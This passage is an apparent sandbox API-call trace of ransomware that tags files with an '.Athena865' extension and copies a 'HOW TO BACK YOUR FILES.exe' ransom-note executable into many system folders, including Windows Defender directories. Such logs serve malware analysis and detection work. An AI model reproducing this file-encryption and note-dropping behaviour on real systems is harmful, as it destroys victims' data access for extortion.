ftLastWriteTime.dwLowDateTime=0xe22f25c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xc340, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="guest.bmp.Athena865", cAlternateFileName="")) returned 1 [0102.997] lstrcmpiW (lpString1="guest.bmp.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.997] lstrcmpiW (lpString1="guest.bmp.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.997] lstrcpyW (in: lpString1=0x241e8d0, lpString2="guest.bmp.Athena865" | out: lpString1="guest.bmp.Athena865") returned="guest.bmp.Athena865" [0102.997] lstrlenW (lpString="guest.bmp.Athena865") returned 19 [0102.997] lstrlenW (lpString="Athena865") returned 9 [0102.997] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.997] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc4836220, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc4836220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0102.997] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0102.997] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc340, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="user.bmp.Athena865", cAlternateFileName="")) returned 1 [0102.997] lstrcmpiW (lpString1="user.bmp.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.997] lstrcmpiW (lpString1="user.bmp.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.997] lstrcpyW (in: lpString1=0x241e8d0, lpString2="user.bmp.Athena865" | out: lpString1="user.bmp.Athena865") returned="user.bmp.Athena865" [0102.997] lstrlenW (lpString="user.bmp.Athena865") returned 18 [0102.997] lstrlenW (lpString="Athena865") returned 9 [0102.998] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.998] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc340, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="user.bmp.Athena865", cAlternateFileName="")) returned 0 [0102.998] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0102.998] ReleaseMutex (hMutex=0xec) returned 1 [0102.998] CloseHandle (hObject=0xec) returned 1 [0102.998] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Microsoft\\Vault" | out: lpString1="C:\\Documents and Settings\\All Users\\Microsoft\\Vault") returned="C:\\Documents and Settings\\All Users\\Microsoft\\Vault" [0102.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52eac0 | out: hHeap=0x4f0000) returned 1 [0102.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a778 | out: hHeap=0x4f0000) returned 1 [0102.998] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Microsoft\\Vault") returned 51 [0102.998] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\A792A7A6DF231AEBD3CB82D7B1B66548") returned 0xec [0102.998] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.998] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Microsoft\\Vault" | out: lpString1="C:\\Documents and Settings\\All Users\\Microsoft\\Vault") returned="C:\\Documents and Settings\\All Users\\Microsoft\\Vault" [0102.998] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.998] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Vault\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\vault\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.999] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Vault\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\vault\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.999] GetLastError () returned 0x0 [0102.999] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.999] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546fd0 [0102.999] ReadFile (in: hFile=0xf4, lpBuffer=0x546fd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546fd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0103.000] CloseHandle (hObject=0xf4) returned 1 [0103.000] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546fd0 | out: hHeap=0x4f0000) returned 1 [0103.000] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.000] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Vault\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc4836220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4836220, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.000] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.000] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.000] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Microsoft\\VISIO" | out: lpString1="C:\\Documents and Settings\\All Users\\Microsoft\\VISIO") returned="C:\\Documents and Settings\\All Users\\Microsoft\\VISIO" [0103.000] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52eb30 | out: hHeap=0x4f0000) returned 1 [0103.000] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a790 | out: hHeap=0x4f0000) returned 1 [0103.000] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Microsoft\\VISIO") returned 51 [0103.000] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\C53BFEC7FCE6D760BAD0BA1E60399526") returned 0xec [0103.000] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.000] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Microsoft\\VISIO" | out: lpString1="C:\\Documents and Settings\\All Users\\Microsoft\\VISIO") returned="C:\\Documents and Settings\\All Users\\Microsoft\\VISIO" [0103.000] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.000] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\VISIO\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\visio\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.001] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Microsoft\\VISIO\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\visio\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.001] GetLastError () returned 0x0 [0103.001] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.001] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546fd0 [0103.001] ReadFile (in: hFile=0xf4, lpBuffer=0x546fd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546fd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0103.002] CloseHandle (hObject=0xf4) returned 1 [0103.002] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546fd0 | out: hHeap=0x4f0000) returned 1 [0103.002] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.002] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Microsoft\\VISIO\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc4836220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4836220, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.002] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.002] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.002] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Microsoft\\Windows Defender" | out: lpString1="C:\\Documents and Settings\\All Users\\Microsoft\\Windows Defender") returned="C:\\Documents and Settings\\All Users\\Microsoft\\Windows Defender" [0103.002] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519778 | out: hHeap=0x4f0000) returned 1 [0103.002] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a7a8 | out: hHeap=0x4f0000) returned 1 [0103.002] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Microsoft\\Windows Defender") returned 62 [0103.002] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\8501CB29C5720A2E51C92CC49FB19DAC") returned 0xec [0103.003] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.003] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Microsoft\\Windows Defender" | out: lpString1="C:\\Documents and Settings\\All Users\\Microsoft\\Windows Defender") returned="C:\\Documents and Settings\\All Users\\Microsoft\\Windows Defender" [0103.003] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.003] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Windows Defender\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\windows defender\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.003] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Windows Defender\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\windows defender\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.003] GetLastError () returned 0x0 [0103.003] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.003] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546fd0 [0103.004] ReadFile (in: hFile=0xf4, lpBuffer=0x546fd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546fd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0103.004] CloseHandle (hObject=0xf4) returned 1 [0103.004] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546fd0 | out: hHeap=0x4f0000) returned 1 [0103.004] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.004] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Windows Defender\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc485c380, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc485c380, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.005] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.005] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.005] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Definition Updates" | out: lpString1="Definition Updates") returned="Definition Updates" [0103.005] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a7a8 [0103.005] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa4) returned 0x513118 [0103.005] lstrcatW (in: lpString1="Definition Updates", lpString2="\\" | out: lpString1="Definition Updates\\") returned="Definition Updates\\" [0103.005] lstrcatW (in: lpString1="Definition Updates\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Definition Updates\\HOW TO BACK YOUR FILES.exe") returned="Definition Updates\\HOW TO BACK YOUR FILES.exe" [0103.005] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\windows defender\\definition updates\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.005] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc485c380, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc485c380, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0103.005] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0103.005] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xe238ab40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe238ab40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LocalCopy", cAlternateFileName="LOCALC~1")) returned 1 [0103.005] lstrcmpiW (lpString1="LocalCopy", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.005] lstrcmpiW (lpString1="LocalCopy", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.006] lstrcpyW (in: lpString1=0x241e8c6, lpString2="LocalCopy" | out: lpString1="LocalCopy") returned="LocalCopy" [0103.006] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a790 [0103.006] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x92) returned 0x53e300 [0103.006] lstrcatW (in: lpString1="LocalCopy", lpString2="\\" | out: lpString1="LocalCopy\\") returned="LocalCopy\\" [0103.006] lstrcatW (in: lpString1="LocalCopy\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="LocalCopy\\HOW TO BACK YOUR FILES.exe") returned="LocalCopy\\HOW TO BACK YOUR FILES.exe" [0103.006] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Windows Defender\\LocalCopy\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\windows defender\\localcopy\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.006] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xe23b0ca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe23b0ca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Quarantine", cAlternateFileName="QUARAN~1")) returned 1 [0103.006] lstrcmpiW (lpString1="Quarantine", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.006] lstrcmpiW (lpString1="Quarantine", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.006] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Quarantine" | out: lpString1="Quarantine") returned="Quarantine" [0103.006] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a778 [0103.006] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x94) returned 0x53e3a0 [0103.006] lstrcatW (in: lpString1="Quarantine", lpString2="\\" | out: lpString1="Quarantine\\") returned="Quarantine\\" [0103.007] lstrcatW (in: lpString1="Quarantine\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Quarantine\\HOW TO BACK YOUR FILES.exe") returned="Quarantine\\HOW TO BACK YOUR FILES.exe" [0103.007] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Windows Defender\\Quarantine\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\windows defender\\quarantine\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.007] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xe23b0ca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe23b0ca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Scans", cAlternateFileName="")) returned 1 [0103.007] lstrcmpiW (lpString1="Scans", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.007] lstrcmpiW (lpString1="Scans", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.007] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Scans" | out: lpString1="Scans") returned="Scans" [0103.007] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a610 [0103.007] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8a) returned 0x533f88 [0103.007] lstrcatW (in: lpString1="Scans", lpString2="\\" | out: lpString1="Scans\\") returned="Scans\\" [0103.007] lstrcatW (in: lpString1="Scans\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Scans\\HOW TO BACK YOUR FILES.exe") returned="Scans\\HOW TO BACK YOUR FILES.exe" [0103.007] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Windows Defender\\Scans\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\windows defender\\scans\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.008] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xe23b0ca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe23b0ca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Support", cAlternateFileName="")) returned 1 [0103.008] lstrcmpiW (lpString1="Support", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.008] lstrcmpiW (lpString1="Support", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.008] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Support" | out: lpString1="Support") returned="Support" [0103.008] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5466d0 [0103.008] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8e) returned 0x534020 [0103.008] lstrcatW (in: lpString1="Support", lpString2="\\" | out: lpString1="Support\\") returned="Support\\" [0103.008] lstrcatW (in: lpString1="Support\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Support\\HOW TO BACK YOUR FILES.exe") returned="Support\\HOW TO BACK YOUR FILES.exe" [0103.008] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Windows Defender\\Support\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\windows defender\\support\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.009] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xe23b0ca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe23b0ca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Support", cAlternateFileName="")) returned 0 [0103.015] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.015] ReleaseMutex (hMutex=0xec) returned 1 [0103.016] CloseHandle (hObject=0xec) returned 1 [0103.016] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Microsoft\\Windows NT" | out: lpString1="C:\\Documents and Settings\\All Users\\Microsoft\\Windows NT") returned="C:\\Documents and Settings\\All Users\\Microsoft\\Windows NT" [0103.016] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5022a8 | out: hHeap=0x4f0000) returned 1 [0103.016] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a7c0 | out: hHeap=0x4f0000) returned 1 [0103.016] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Microsoft\\Windows NT") returned 56 [0103.016] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\8B486893CF2759E5EEBC84F9D06E22CC") returned 0xec [0103.016] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.016] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Microsoft\\Windows NT" | out: lpString1="C:\\Documents and Settings\\All Users\\Microsoft\\Windows NT") returned="C:\\Documents and Settings\\All Users\\Microsoft\\Windows NT" [0103.016] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.016] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Windows NT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\windows nt\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.017] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Windows NT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\windows nt\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.017] GetLastError () returned 0x0 [0103.017] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.017] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546fd0 [0103.017] ReadFile (in: hFile=0xf4, lpBuffer=0x546fd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546fd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0103.018] CloseHandle (hObject=0xf4) returned 1 [0103.018] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546fd0 | out: hHeap=0x4f0000) returned 1 [0103.018] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.018] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Windows NT\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc485c380, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc485c380, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.018] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.018] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.018] lstrcpyW (in: 